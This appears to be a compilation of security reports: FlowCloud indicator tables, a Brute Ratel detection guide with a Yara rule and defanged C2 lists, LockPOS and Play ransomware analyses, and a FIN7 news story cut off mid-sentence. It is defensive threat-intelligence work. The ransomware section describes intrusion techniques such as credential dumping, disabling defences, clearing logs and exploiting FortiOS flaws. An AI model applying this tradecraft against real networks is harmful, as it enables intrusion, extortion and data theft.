27f5df1d35744cf283702fce384ce8cfb2f240bae5d725335ca1b90d6128bd40 | SHA256 | Dropped Files - rescure64.dat | | 13e761f459c87c921dfb985cbc6489060eb86b4200c4dd99692d6936de8df5ba | SHA256 | Dropped Files - rescure86.dat | | 2481fd08abac0bfefe8d8b1fa3beb70f8f9424a1601aa08e195c0c14e1547c27 | SHA256 | Dropped Files - hha.dll | | 188.131.233[.]27 | IP | C&C IP | | 118.25.97[.]43 | IP | Sender IP | | 34.80.27[.]200 | IP | Sender IP | | 134.209.99[.]169 | IP | Staging IP | | 101.99.74[.]234 | IP | Staging IP | | Asce[.]email | Domain | Phishing Domain | | powersafetrainings[.]org | Domain | Phishing Domain | | mails.daveengineer[.]com | Domain | Phishing Domain | | powersafetraining[.]net | Domain | Related Infrastructure | | mails.energysemi[.]com | Domain | Related Infrastructure | | www.mails.energysemi[.]com | Domain | Related Infrastructure | | www.powersafetraining[.]net | Domain | Related Infrastructure | | www.powersafetrainings[.]org | Domain | Related Infrastructure | | ffca.caibi379[.]com | Domain | Macro Domain | | http://ffca.caibi379[.]com/rwjh/qtinfo.txt | URL | FlowCloud Macro Delivery URL Inactive | | https://www.dropbox[.]com:443/s/ddgifm4ityqwx60/Cert.pem?dl=1 | URL | FlowCloud Macro Delivery URL | | HKEY_LOCAL_MACHINE\SYSTEM\Setup\PrintResponsor\2 | Registry | FlowCloud Registry Key | | HKEY_LOCAL_MACHINE\SYSTEM\Setup\PrintResponsor\3 | Registry | FlowCloud Registry Key | | HKEY_LOCAL_MACHINE\SYSTEM\Setup\PrintResponsor\4 | Registry | FlowCloud Registry Key | | HKEY_LOCAL_MACHINE\HARDWARE\{2DB80286-1784-48b5-A751-B6ED1F490303} | Registry | FlowCloud Registry Key | | HKEY_LOCAL_MACHINE\HARDWARE\{804423C2-F490-4ac3-BFA5-13DEDE63A71A} | Registry | FlowCloud Registry Key | | HKEY_LOCAL_MACHINE\HARDWARE\{A5124AF5-DF23-49bf-B0ED-A18ED3DEA027} | Registry | FlowCloud Registry Key | | G:\FlowCloud\trunk\Dev\src\fcClient\Release\QQSetupEx_func.pdb | File | FlowCloud PDB Path | | g:\FlowCloud\trunk\Dev\src\fcClient\Release\fcClientDll.pdb | File | FlowCloud PDB Path | | F:\FlowCloud\trunk\Dev\src\fcClient\kmspy\Driver\Release\Driver.pdb | File | FlowCloud PDB Path | | F:\FlowCloud\trunk\Dev\src\fcClient\kmspy\Driver\x64\Release\Driver.pdb | File | FlowCloud PDB Path | ## ET and ETPRO Suricata/SNORT Signatures 2837783 ETPRO TROJAN Win32/LookBack CnC Activity
# How to Detect Brute Ratel Activities Brute Ratel (BRc4) is a Command and Control (C2) framework designed to help attackers evade defense systems and remain undetected while executing malicious commands. Used in simulations of real-world attacks, this tool helps red team members deploy badgers on remote hosts. Badgers are similar to Cobalt Strike beacons and connect attackers to a remote command and control server, providing them with remote code execution capabilities. The current version of Brute Ratel allows users to create command-and-control channels using legitimate tools such as Microsoft Teams, Slack, and Discord. It also uses undocumented syscalls instead of standard Windows API calls to avoid detection and injects shellcode into running processes. BRc4 includes a debugger capable of detecting and bypassing EDR hooks and detections, as well as an easy-to-use visual interface to assist with LDAP queries across domains. Similar to what I did in a previous post focusing on the Sliver framework, I try to outline a multi-layered approach to detecting malicious activity related to this tool, focusing on the use of endpoint detection and response (EDR) tools, network traffic analysis, and file system monitoring. ## Network Traffic Analysis The detection of Brute Ratel traffic patterns is not easy because the framework allows attackers to hide malicious traffic in communications with legitimate tools such as Microsoft Teams, Slack, and Discord. However, in this article, the security firm YOROI suggests using the following Yara rule: ```yara rule brute_ratel { meta: author = "Yoroi Malware ZLab" description = "Rule for BruteRatel Badger" last_updated = "2023-02-15" tlp = "WHITE" category = "informational" strings: $1 = {8079ffcc74584585c075044883e920448a094180f9e9740a448a41034180f8e97507ffc24531c0ebd731c04180f94c752f8079018b7529807902d175214180f8b8751b8079060075170fb64105c1e0084189c00fb641044409c001d0eb0231c0c3} // Checks Breakpoint (DLL) $2 = {565389d34883ec2885db74644889cee8????????31c9ba????????4989c0e8???????? 448d430165488b142530000000488b5260488b4a30ba08000000ffd04885f6741c4885c0742731d20f1f440000fb60c16880c104883c2014839d375f04883c4285b5ec3} // Shellcode condition: (uint16(0) == 0x5A4D or uint16(0) == 0x00E8 or uint16(0) == 0x8348) and ($1 or $2) } ``` ## File System Monitoring According to an article by Unit42 and Splunk, recent campaigns using Brute Ratel have exploited fake Microsoft OneDrive installers encapsulated in .iso files to minimize detection by antivirus software. This information can be used to create a hash list of possible files associated with payload implantation attempts: ``` SHA 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C 31ACF37D180AB9AFBCF6A4EC5D29C3E19C947641A2D9CE3CE56D71C1F576C069 F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46 3ED21A4BFCF9838E06AD3058D13D5C28026C17DC996953A22A00F0609B0DF3B9 3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE 973F573CAB683636D9A70B8891263F59E2F02201FFB4DD2E9D7ECBB1521DA03E DD8652E2DCFE3F1A72631B3A9585736FBE77FFABEE4098F6B3C48E1469BF27AA E1A9B35CF1378FDA12310F0920C5C53AD461858B3CB575697EA125DFEE829611 EF9B60AA0E4179C16A9AC441E0A21DC3A1C3DC04B100EE487EABF5C5B1F571A6 D71DC7BA8523947E08C6EEC43A726FE75AED248DFD3A7C4F6537224E9ED05F6F 5887C4646E032E015AA186C5970E8F07D3ED1DE8DBFA298BA4522C89E547419B EA2876E9175410B6F6719F80EE44B9553960758C7D0F7BED73C0FE9A78D8E669 B5D1D3C1AEC2F2EF06E7D0B7996BC45DF4744934BD66266A6EBB02D70E35236E 55684a30a47476fce5b42cbd59add4b0fbc776a3 66aab897e33b3e4d940c51eba8d07f5605d5b275 b5378730c64f68d64aa1b15cb79088c9c6cb7373fcb7106812ffee4f8a7c1df7 cab0da87966e3c0994f4e46f30fe73624528d69f8a1c3b8a1857962e231a082b 392768ecec932cd22511a11cdbe04d181df749feccd4cb40b90a74a7fdf1e152 e549d528fee40208df2dd911c2d96b29d02df7bef9b30c93285f4a2f3e1ad5b0 a8f50e28989e21695d76f0b9ac23e14e1f8ae875ed42d98eaa427b14a7f87cd6 025ef5e92fecf3fa118bd96ad3aff3f88e2629594c6a7a274b703009619245b6 086dc27a896e154adf94e8c04b538fc146623b224d62bf019224830e39f4d51d 17decce71404a0ad4b402d030cb91c6fd5bca45271f8bf19e796757e85f70e48 17e4989ff7585915ec4342cbaf2c8a06f5518d7ba0022fd1d97b971c511f9bde 200955354545ef1309eb6d9ec65a917b08479f28362e7c42a718ebe8431bb15d 221e81540e290017c45414a728783cb62f79d9f63f2547490ec2792381600232 25e7a8da631f3a5dfeec99ca038b3b480658add98719ee853633422a3a40247d 28a4e9f569fd5223bffe355e685ee137281e0e86cae3cc1e3267db4c7b2f3bcd 2ddc77de26637a6d759e5b080864851b731fdb11075485980ece20d8f197104c 31fe821e4fac6380701428e01f5c39c6f316b6b58faff239d8432e821a79d151 331952c93954bd263747243a0395441d0fae2b6d5b8ceb19f3ddb786b83f0731 34c1d162bf17cdb41c2c5d220b66202a85f5338b15019e26dcab1a81f12fc451 38b3b10f2ddeecda0db029dacc6363275c4cdf18cc62be3cc57b79647d517a44 3a946cba2ba38a2c6158fa50beee20d2d75d595acc27ea51a39a37c121082596 3baace2a575083a7031af7e9e13ff8ed46659f0b25ce54abe73db844acfad11a 3f63fbc43fc44e6bf9c363e8c17164aeb05a515229e2111a2371d4321dcde787 4766553ce5ff67a2e28b1ee1b5322e005b85b26e21230ffba9622e7c83ed0917 4e5d89844135dca1d9899a8eedfbabc09bcb0fb5c5c14c29f7df5a58d7cf16d4 4f88738e04447344100bb9532c239032b86e71d8037ccb121e2959f37fff53cf 54e844b5ae4a056ca8df4ca7299249c4910374d64261c83ac55e5fdf1b59f01d 56ced937d0b868a2005692850cea467375778a147288ac404748c2dea9c17277 5f4782a34368bb661f413f33e2d1fb9f237b7f9637f2c0c21dc752316b02350c 6021d5500fdea0664a91bdd85b98657817083ece6e2975362791c603d7a197c7 62cb24967c6ce18d35d2a23ebed4217889d796cf7799d9075c1aa7752b8d3967 62e88163b51387b160e9c7ea1d74f0f80c52fc32c997aa595d53cbc2c3b6caf4 64a95de2783a97160bac6914ee07a42cdd154a0e33abc3b1b62c7bafdce24c0c 6a85451644a2c6510d23a1ab5610c85a38107b3b3a00238f7b93e2ce6d1ba549 6ade03a82d8bb884cae26c6db31cf539bec66861fc689cf1c752073fb79740c5 6fdd81e31f2bec2bdda594974068a69e911219d811c8de4466d7a059dd3183a3 74c00f303b87b23dffb59718187ff95c9d4d8497c61a64501166ac5dbed84b9f 7757a76ca945f33f3220ad2b2aa897f3e63c47f08e1b7d62d502937ba90360a7 7824197ad3b9c0981a1cdabf82940ac7733d232442bd31d195783a4e731845d2 79e232b2a08a2960a493e74ab7cba3e82c8167acc030a5ca8d080d0027a587fe 7fe1ff03e8f5678d280f7fd459a36444b6d816b2031e37867e4e36b689eccd33 83b336deca35441fa745cd80a7df7448ce24c09dd2a36569332ae0e4771f36a6 88249de22cefaf15f7c45b155703980fb09eb8e06b852f9d4a7c82126776ee7e 8b8f7e8030e2ba234a33bc8a2fa3ccb5912029d660e03ed40413d949142b98fe 8d979a1627dea58e9b86f393338df6aabfd762937e25e39f1d325fce06cf5338 8dd3faf0248890e8c3efb40b800f892989204ba3125986690669f0a914f26c5 9521f51e42b8e31d82b06de6e15dbf9a1fa1bbff62cf6bc68c0b9e8fd1f8b2c5 97a00056c459a7ce38ad8029413bf8f1691d4ae81e90f0d346d54c91dd02a511 991f883556357a3b961c31e2b72f6246b52b27a5c45b72914abc61c5b5960cc3 9f06583bd4b8c4aefc470ef582ff685cd3d03b404e67ce8bf9dbbd5828c90c43 a0c3da2ebf94f6671537a80d26b3288f8fcdf845fe2780ef81fd9da48c0162bf a8759ef55fed4a9410cc152df9ef330a95f776619901054715ed4721a414d15c a8cc14bd56aa4a2da40717cb3f11ecb6aff4e0797a9cebcff51461db19eaf580 ae38ec0ddc58424bf6de8858c82c4c6902fc947604943d58d8cbca00991c7f7d aeb82788aad8bdee4c905559c4636536fb54c40fdc77b27ba4308b6a0f24bedf bdd028922220ff92acb8530c894e2705743a968a8159fe955c1057736c7e1ebd c3cc43492d005b25fc2cc66f82a550420bb4c48b5aae0a77f1ccef0603a3e47c c4f40e2eb029ef11be4ac43ccc6895af6fb6dabd3a5bcc02f29afb9553da625c c6aa2c54eee52f99a911dadfbf155372bd9f43fb9f923500b0b374799204d7a3 c6e2562a2ae399a851b0e5bfb92011e9f97ab45fa536a61eb89b3aee062461f7 ca2b9a0fe3992477d4c87a6e2a75faaac9ea0f3828d054cb44371b3068b76ba5 cdc5e05843cf1904e145dad3ae6c058b92b1bc3cbffffc217884b7cc382172a1 cee890a9e7ab521125372c13b71fc154ef5332d333fe43798303b198e9314dcd d90beab9a3986c26922e4107dccb0b725b8b0eea398f2aeb8848cbe25c3becee ``` ## Endpoint Detection and Response (EDR) Tools Using EDR tools, it is possible to detect Brute Ratel activity by monitoring for specific behaviors, such as the use of specific network connections. Using information provided by Uni42, Yoroi, and Splunk, it is possible to create a list of network indicators useful to spot malicious activities performed with the framework: ``` IP/Domain 104.6.92[.]229 137.184.199[.]17 138.68.50[.]218 138.68.58[.]43 139.162.195[.]169 139.180.187[.]179 147.182.247[.]103 149.154.100[.]151 15.206.84[.]52 159.223.49[.]16 159.65.186[.]50 162.216.240[.]61 172.105.102[.]247 172.81.62[.]82 174.129.157[.]251 178.79.143[.]149 178.79.168[.]110 178.79.172[.]35 18.133.26[.]247 18.130.233[.]249 18.217.179[.]8 18.236.92[.]31 185.138.164[.]112 194.29.186[.]67 194.87.70[.]14 213.168.249[.]232 3.110.56[.]219 3.133.7[.]69 31.184.198[.]83 34.195.122[.]225 34.243.172[.]90 35.170.243[.]216 45.144.225[.]3 45.76.155[.]71 45.79.36[.]192 52.48.51[.]67 52.90.228[.]203 54.229.102[.]30 54.90.137[.]213 89.100.107[.]65 92.255.85[.]173 92.255.85[.]44 94.130.130[.]43 ds.windowsupdate.eu[.]org ```
# Threat Spotlight: LockPOS Point of Sale Malware LockPOS is a point-of-sale malware discovered in 2017 that is used to exfiltrate payment card data from targeted point-of-sale systems’ memory. The most recent version of LockPOS examined here changed its injection technique to drop the malware directly to the kernel to evade detection and bypass traditional antivirus (AV) hooks. This evasion technique has been seen before being employed by a similar malware (Flokibot POS Malware). In addition to the injection technique, this new malware variant is also communicating with a new command-and-control (C2) server that hasn’t been seen before. ## Technical Overview ### File Information - **SHA256:** 1436577b2b111fe299a1321e00543d0e8d49d827abde651faea7403e4bb38644 - **Type:** Win32 EXE - **Size:** 140,288 bytes - **Timestamp:** 11/18/2017 12:40:26 PM - **ITW names:** 1e490056bdb537f9492bc72a365537f0.virobj, 1e490056bdb537f9492bc72a365537f0 ### Technical Analysis The malware has a core resource section that is encrypted. When it runs, it begins making API calls that are used to decrypt itself, and the APIs are obfuscated using API hashing. The decrypted executable is then loaded to memory for execution. When executed, the malware uses API calls from ntdll.dll to inject itself into explorer.exe as a persistence mechanism. The API calls are still made using the API hashing, a method that is new for LockPOS which allows the malware to avoid traditional AV detection by injecting the code on-the-fly within memory. The injected code will then try to connect to the C2 server at the following address: `bbbclearner[dot]at/_x/update[dot]php`. This is a new C2 server that has never been seen in malware campaigns prior. The C2 server also has what seems to be a back-end panel that is similar to the one seen before with the treasurehunter[dot]at C2 server. In addition to the abovementioned C2 server, the malware also reaches out to multiple unregistered domains, most likely as a method used to disrupt any analysis of the file and to hide the real C2 server domain. ## Indicators of Compromise (IOCs) ### Hashes - 1436577b2b111fe299a1321e00543d0e8d49d827abde651faea7403e4bb38644 ### C2 - `bbbclearner[dot]at/_x/update[dot]php` ### Domains - reportpestgallon[dot]xyz - siamesefineknowledge[dot]xyz - forkveilfall[dot]xyz - grillpromotionpressure[dot]xyz - grandmothernoveloffer[dot]xyz - shampoodebtorguitar[dot]xyz - commissionroadwaygirdle[dot]xyz - apologytailorpelican[dot]xyz - costsfelonybumper[dot]xyz - marketgreat-grandfatherkettle[dot]xyz - debtdoubleshop[dot]xyz - orderareateaching[dot]xyz - companyresponsibilityshallot[dot]xyz - equipmentkicksaturday[dot]xyz - hyenadecisionblanket[dot]xyz - costscousinphysician[dot]xyz - alibitowerrepairs[dot]xyz - grassarmchairpreparation[dot]xyz - heattomatooffer[dot]xyz - timenoodlesuggestion[dot]xyz - budgethardcoverliver[dot]xyz - productglidinglynx[dot]xyz - objectiveswordfishorchid[dot]xyz - instructionsaluminiumroad[dot]xyz - descriptionbulldozerroast[dot]xyz - authorizationsharonneck[dot]xyz - differencejuicetaste[dot]xyz - myanmarhoodsignature[dot]xyz - inchpaymentvision[dot]xyz - powdergoalship[dot]xyz - koreankeycomparison[dot]xyz - permissionrhythmemery[dot]xyz - smokepigeonpromotion[dot]xyz - budgetpaultrail[dot]xyz - ptarmiganstockbottle[dot]xyz - collarlimitbugle[dot]xyz - employerbatvietnam[dot]xyz - departmentmessagewasp[dot]xyz - ruthbudgetnetwork[dot]xyz - shelfturnoverradish[dot]xyz - copyretailerclose[dot]xyz - massforestopinion[dot]xyz - geminikendocomparison[dot]xyz - billburglartablecloth[dot]xyz - deliverystaircaseangle[dot]xyz - dayfatheropinion[dot]xyz - billwaterfallsoda[dot]xyz - germanquotationconfirmation[dot]xyz - anteaterimprovementgermany[dot]xyz - libraplasticapology[dot]xyz - possibilityneedjennifer[dot]xyz - decisionsnowmancod[dot]xyz - handlegumsalary[dot]xyz - tuneavenuecomparison[dot]xyz - donkeybillmexico[dot]xyz - whipdifferencerecess[dot]xyz - pancreasreportsnake[dot]xyz - pricemedicinejump[dot]xyz - bombapologystreetcar[dot]xyz - departmentrussianfall[dot]xyz - amountdebtorromania[dot]xyz - increasestationcollar[dot]xyz - nickelreportaccountant[dot]xyz - confirmationhaircutpsychology[dot]xyz - outputvacuumproperty[dot]xyz - armyindustrymail[dot]xyz - smilejacketemployer[dot]xyz - schooljapanesecustomer[dot]xyz - ikebanadiscussionapology[dot]xyz - danielheightreduction[dot]xyz - growthpumpyacht[dot]xyz - cocktailtransportexistence[dot]xyz - pricedogsquash[dot]xyz - alloyimprovementterritory[dot]xyz - badgecupdifference[dot]xyz - estimatemimosalan[dot]xyz - summermosquemistake[dot]xyz - illegalauthorizationcourt[dot]xyz - nutobjectiveinvention[dot]xyz - supportfaceoperation[dot]xyz - paymentfilewave[dot]xyz - advertiseindonesiahot[dot]xyz - permissionhandmosque[dot]xyz - competitionweaponjail[dot]xyz - colonyarchaeologyinstructions[dot]xyz - salespressurelock[dot]xyz - selfdeliverynail[dot]xyz - opinionpurchasebathroom[dot]xyz - statisticcreekprofit[dot]xyz - guaranteelistmichael[dot]xyz - competitioncrabquotation[dot]xyz - israelseashoregoods[dot]xyz - coverapologyfeedback[dot]xyz - perchinterestdowntown[dot]xyz - archeologysister-in-lawmarket[dot]xyz - indexemployeecheese[dot]xyz - chequeordersale[dot]xyz - competitionstocksister[dot]xyz - bucketbudgetplot[dot]xyz - retailerperiodicalsponge[dot]xyz If you use our endpoint protection product, CylancePROTECT®, you are already protected from this attack.
# Play Ransomware's Attack Playbook In July, we investigated a spate of ransomware cases in the Latin American region that targeted government entities, initially attributed to a new player known as Play ransomware. This ransomware’s name was derived from its behavior, as it adds the extension “.play” after encrypting files. Its ransom note also contains the single word, “PLAY,” and the ransomware group’s contact email address. Victims of this ransomware first surfaced in Bleeping Computer forums in June 2022. A month later, more details about Play ransomware were published on the “No-logs No breach” website. Further analysis revealed that Play uses many tactics that follow the playbook of both Hive and Nokoyawa ransomware, including similarities in the file names and file paths of their respective tools and payloads. Evidence suggests that the attackers behind Nokoyawa are related to those behind Hive, owing to the many similarities between their attack chains. Notably, one behavior that sets Play ransomware apart from Hive and Nokoyawa is its use of AdFind, a command-line query tool capable of collecting information from Active Directory (AD), as a means of discovery. Hive, on the other hand, has been observed using tools like the TrojanSpy.DATASPY trojan to gather information in a victim’s system. ## Comparison of Ransomware Families | Indicator | Purpose | Nokoyawa and Hive ransomware | Play ransomware | |---------------------------|----------------------------------------------|------------------------------|------------------| | Nekto/PriviCMD | Privilege escalation | ✓ | ✓ | | Cobalt Strike | Staging | ✓ | ✓ | | Coroxy/SystemBC | Remote access | ✓ | ✓ | | GMER | Defense evasion | ✓ | ✓ | | PCHunter | Discovery and defense evasion | ✓ | | | AdFind | Discovery | | ✓ | | PowerShell scripts | Discovery | ✓ | | | PsExec | Lateral deployment of ransomware | ✓ | ✓ | ## Related Malware Campaigns Though not all of the Play ransomware infections analyzed shared malware indicators with those of Hive and Nokoyawa ransomware, their many shared tactics and tools suggest a high probability of affiliation between these ransomware families. This ransomware merits further investigation, and we plan on validating the related URLs from Play ransomware infections in terms of watermarking to determine whether these were indeed related to any Hive infections in the past. Additionally, we have found evidence that points to a possible connection between Play ransomware and Quantum ransomware, which is an offshoot of the notorious Conti ransomware group. The Cobalt Strike beacons used in Play's attacks bear the same watermark, 206546002, as those previously dropped by Emotet and SVCReady botnets that have also been observed in Quantum ransomware attacks. This suggests that the two ransomware groups share some of the same infrastructure. During our investigation, we found indicators of a good chance of an Emotet infection. Though there are currently no spam campaigns using the Emotet trojan, we did detect a few cases of Emotet being used to deploy Cobalt Strike beacons bearing the same 206546002 watermark that was found in beacons involved in Play's ransomware attacks. ## Infection Routine The malware authors behind Play ransomware have been known to use compromised valid accounts or exploit unpatched Fortinet SSL VPN vulnerabilities to gain access to an organization’s network. Like most modern ransomware, Play uses living-off-the-land binaries (LOLBins) as part of its attacks: for example, it uses the remote tool WinSCP for data exfiltration and Task Manager for Local Security Authority Server Service (LSASS) process dumping and credential cracking. Play ransomware also uses double extortion techniques against its victims. In its attacks, data exfiltration is performed prior to the deployment of the ransomware: it archives a victim’s files using WinRAR and then uploads the files to sharing sites. The ransomware executable is distributed via Group Policy Objects (GPO), then run using scheduled tasks, PsExec, or wmic. ### Initial Access Play’s ransomware actors commonly gain initial access through valid accounts that have been reused across multiple platforms, have previously been exposed, or were obtained through illegal means. This includes Virtual Private Network (VPN) accounts, not just domain and local accounts. Exposed RDP servers are also abused to establish a foothold. Another technique Play ransomware uses is the exploitation of the FortiOS vulnerabilities CVE-2018-13379 and CVE-2020-12812. CVE-2018-13379 is a path traversal vulnerability in the FortiOS SSL VPN web portal that allows an unauthenticated attacker to download OS system files through specially crafted HTTP resource requests. CVE-2020-12812 is an improper-authentication vulnerability in SSL VPN in FortiOS, which allows a user to log in without being prompted for FortiToken, the second factor of authentication, if they changed the case of their username. ### Execution We observed Play ransomware’s usage of scheduled tasks and PsExec during its execution phase. Another one of Play’s techniques involves the creation of a GPO, as GPOs are able to control many user and machine settings in the AD. The GPO deploys a scheduled task across the AD environment, and the task executes the ransomware at a specific date and time. The ransomware also uses batch files to execute PsExec, a legitimate Windows tool in the SysInternals suite. This tool’s ability to execute processes on other systems allows the rapid spread of the ransomware and assists Play in its reconnaissance activities. ### Persistence After the Play ransomware actors gain initial access through valid accounts, they will continue to use these accounts as a persistence mechanism. If Remote Desktop Protocol (RDP) access is disabled in a victim’s system, the malicious actors will enable it by executing “netsh” commands so that they can establish inbound connections within a victim’s system. The ransomware executable is dropped in the Domain Controller shared folders (NETLOGON or SYSVOL) and is run by a scheduled task/PsExec, after which encryption of the victim’s files takes place. ### Privilege Escalation Play ransomware uses Mimikatz to extract high-privilege credentials from memory. Afterward, the ransomware will add accounts to privileged groups, one of which is the Domain Administrators group. It performs vulnerability enumeration through Windows Privilege Escalation Awesome Scripts (WinPEAS), a script that searches for possible local privilege escalation paths. ### Defense Evasion The ransomware uses tools such as Process Hacker, GMER, IOBit, and PowerTool to disable antimalware and monitoring solutions. It covers its tracks using the Windows built-in tool wevtutil or a batch script, which will remove indicators of its presence, such as logs in Windows Event Logs or malicious files. It disables Windows Defender protection capabilities through PowerShell or command prompt. The PowerShell scripts that Play ransomware uses, like Cobalt Strike beacons (Cobeacon) or Empire agents, are encrypted in Base64. ### Credential Access Play ransomware also uses Mimikatz to dump credentials. The tool can be dropped directly on the target host or executed as a module through a command-and-control (C&C) application like Empire or Cobalt Strike. We also observed the malware’s use of the Windows tool Task Manager to dump the LSASS process from memory. ### Discovery During the discovery phase, the ransomware actors collect more details about the AD environment. We’ve observed that AD queries for remote systems have been performed by different tools, such as ADFind, Microsoft Nltest, and Bloodhound. Enumeration of system information such as hostnames, shares, and domain information were also performed by the threat actor. ### Lateral Movement Play ransomware may use different tools to move laterally across a victim’s system: - Cobalt Strike SMB beacon is used as a C&C beacon, a method of lateral movement, and a tool for downloading and executing files. - SystemBC, a SOCKS5 proxy bot that acts as a backdoor with the ability to communicate over TOR, is used for backdooring mechanisms. - Empire is an open-source post-exploitation framework used to conduct Play ransomware’s post-exploitation activity. - Mimikatz is used to dump credentials and gain domain administrator access on victim networks to conduct lateral movement. ### Exfiltration A victim’s data is often split into chunks instead of whole files prior to its exfiltration, an approach that Play ransomware may use to avoid triggering network data transfer. The ransomware actors use WinSCP, an SFTP client and FTP client for Microsoft Windows. They also use WinRAR to compress the files in .RAR format for later exfiltration. We were able to identify a web page developed in PHP that is used to receive the exfiltrated files. ### Impact After the ransomware encrypts a file, it adds the extension “.play” to that file. A ransom note, ReadMe.txt, is created in the hard drive root (C:). In all the cases we investigated, the ransom notes contained an email address following this format: [seven random characters]@gmx[.]com. ### Infection Distribution Like Hive and Nokoyawa ransomware, most of Play ransomware’s attacks affected organizations located in the Latin American region, with Brazil topping the list. Organizations in Argentina, Hungary, India, the Netherlands, and Spain also experienced Play attacks. ## Security Recommendations The results of our investigation into Play ransomware’s attacks highlight the evolution of threats that are designed to evade detection. Organizations should be wary of malicious actors using red-team or penetration-testing tools to blend in with a targeted system’s environment. End users and organizations alike can mitigate the risk of infection from ransomware like Play by following these security best practices: - Enable multifactor authentication (MFA) to prevent attackers from performing lateral movement inside a network. - Adhere to the 3-2-1 rule when backing up important files. This involves creating three backup copies on two different file formats, with one of the copies stored in a separate location. - Patch and update systems regularly. It’s important to keep operating systems and applications up to date and maintain patch management protocols that can deter malicious actors from exploiting any software vulnerabilities. Users and organizations can benefit from the use of multilayered detection and response solutions such as Trend Micro Vision One™, which provides powerful XDR capabilities that collect and automatically correlate data across multiple security layers — email, endpoints, servers, cloud workloads, and networks — to prevent attacks via automated protection, while also ensuring that no significant incidents go unnoticed. Trend Micro Apex One™ also provides next-level automated threat detection and response to protect endpoints against advanced issues, like human-operated ransomware. ## Indicators of Compromise (IOCs) ### Hashes | SHA-256 | Detection | Description | |-------------------------------------------------------------------------|--------------------------------------------|---------------------------------| | fc2b98c4f03a246f6564cc778c03f1f9057510efb578ed3e9d8e8b0e5516bd49 | Trojan.Win64.PRIVICMD.YXCHW | PRIVICMD/NEKTO | | c316627897a78558356662a6c64621ae25c3c3893f4b363a4b3f27086246038d | Backdoor.Win32.COBEACON.YXCH3 | Cobalt Strike | | c92c158d7c37fea795114fa6491fe5f145ad2f8c08776b18ae79db811e8e36a3 | PUA.Win32.AdFind.A | AdFind | | e1c75f863749a522b244bfa09fb694b0cc2ae0048b4ab72cb74fcf73d971777b | Trojan.BAT.ADFIND.YECGUT | AdFind Command Lines | | 094d1476331d6f693f1d546b53f1c1a42863e6cde014e2ed655f3cbe63e5ecde | HackTool.Win32.ToolPow.SM | PowerTool | | e8a3e804a96c716a3e9b69195db6ffb0d33e2433af871e4d4e1eab3097237173 | PUA.Win32.GMER.YABBI | GMER | | d4a0fe56316a2c45b9ba9ac1005363309a3edc7acf9e4df64d326a0ff273e80f | PUA.Win32.ProcHack.C | Process Hacker | | c88b284bac8cd639861c6f364808fac2594f0069208e756d2f66f943a23e3022 | Backdoor.Win32.SYSTEMBC.YXCFLZ | Coroxy/SystemBC | | f18bc899bcacd28aaa016d220ea8df4db540795e588f8887fe8ee9b697ef819f | Ransom.Win32.PLAYCRYPT.YECGUT | Play ransomware | | e641b622b1f180fe189e3f39b3466b16ca5040b5a1869e5d30c92cca5727d3f0 | Ransom.Win32.PLAYDE.A | Play ransomware | | 608e2b023dc8f7e02ae2000fc7dbfc24e47807d1e4264cbd6bb5839c81f91934 | Ransom.Win32.PLAYDE.YXCHJT | Play ransomware | | 006ae41910887f0811a3ba2868ef9576bbd265216554850112319af878f06e55 | Ransom.Win32.PLAYDE.YXCHJT | Play ransomware | | e4f32fe39ce7f9f293ccbfde30adfdc36caf7cfb6ccc396870527f45534b840b | Ransom.Win32.PLAYDE.YXCHJT | Play ransomware | | 8962de34e5d63228d5ab037c87262e5b13bb9c17e73e5db7d6be4212d66f1c22 | Ransom.Win32.PLAYDE.YXCHJT | Play ransomware | | 5573cbe13c0dbfd3d0e467b9907f3a89c1c133c774ada906ea256e228ae885d5 | Ransom.Win32.PLAYDE.YXCHJT | Play ransomware | | f6072ff57c1cfe74b88f521d70c524bcbbb60c561705e9febe033f51131be408 | Ransom.Win32.PLAYDE.YXCHJT | Play ransomware | | 7d14b98cdc1b898bd0d9be80398fc59ab560e8c44e0a9dedac8ad4ece3d450b0 | Ransom.Win32.PLAYDE.YXCHJT | Play ransomware | | dcaf62ee4637397b2aaa73dbe41cfb514c71565f1d4770944c9b678cd2545087 | Ransom.Win32.PLAYDE.YXCHJT | Play ransomware | | f5c2391dbd7ebb28d36d7089ef04f1bd9d366a31e3902abed1755708207498c0 | Ransom.Win32.PLAYDE.YACHWT | Play ransomware | | 3e6317229d122073f57264d6f69ae3e145decad3666ddad8173c942e80588e69 | Ransom.Win32.PLAYDE.YACHP | Play ransomware | ### URLs | URL | Description | |---------------------------------------------|--------------------------------------| | hxxp://84.32.190[.]37:80/ahgffxvbghgfv | Cobalt Strike download | | hxxp://newspraize[.]com | Cobalt Strike C&C | | hxxp://realmacnow[.]com | Cobalt Strike C&C | | 172.67.176[.]244 | Cobalt Strike C&C | | 104.21.43[.]80 | Cobalt Strike C&C | | hxxp://67.205.182[.]129/u2/upload[.]php | Exfiltration C&C Server |
# FIN7 Recruiter Andrii Kolpakov Pleads Guilty to Role in Global Hacking Scheme One of the ringleaders of FIN7, a global hacking crew accused of stealing more than $1 billion by posing as a cybersecurity vendor, has admitted his role in the scheme. Andrii Kolpakov pleaded guilty on Monday to conspiracy to commit wire and bank fraud and conspiracy to commit computer hacking as part of his involvement with FIN7. U.S. prosecutors had accused Kolpakov, a Ukrainian national, of working as a manager and recruiter for the crew, a role in which he hired and supervised computer specialists who spent their days stealing payment card information from dozens of companies, including Chipotle, Red Robin, and Sonic Drive-In. “During the course of the scheme, [Kolpakov] received compensation for his participation in FIN7, which far exceeds comparable legitimate employment in Ukraine,” the plea deal notes. “For the purposes of this plea agreement, the parties agree that — during [Kolpakov’s] participation in the malware scheme — FIN7 illegal activity resulted in over $100 million in losses to financial institutions, merchant processors, insurance companies, retail companies, and individual cardholders.” FIN7 is a notorious cybercrime group that’s attracted the attention of international law enforcement agencies and an array of private security firms. Dozens of hackers worked as part of the scheme, according to the U.S. Justice Department, masquerading as a legitimate vendor called “Combi Security,” which presented itself as a penetration testing company. Rather than conducting security assessments, though, FIN7 would breach protected systems to steal credit data and other personal information. Researchers have blamed the group for stealing more than $1 billion. The target list also included Whole Foods, Saks Fifth Avenue, Trump Hotels, and other organizations with a wealth of customer payment data. Scammers were still using FIN7 malware into 2020, researchers have found. Spanish police arrested Kolpakov in June 2018, ultimately extraditing him to the U.S. in 2019. Kolpakov was in possession of a laptop computer, multiple hard drives, and a mobile phone containing “multiple thousands of payment card numbers” and usernames and passwords stolen from American companies, according to the plea deal. Kolpakov now faces up 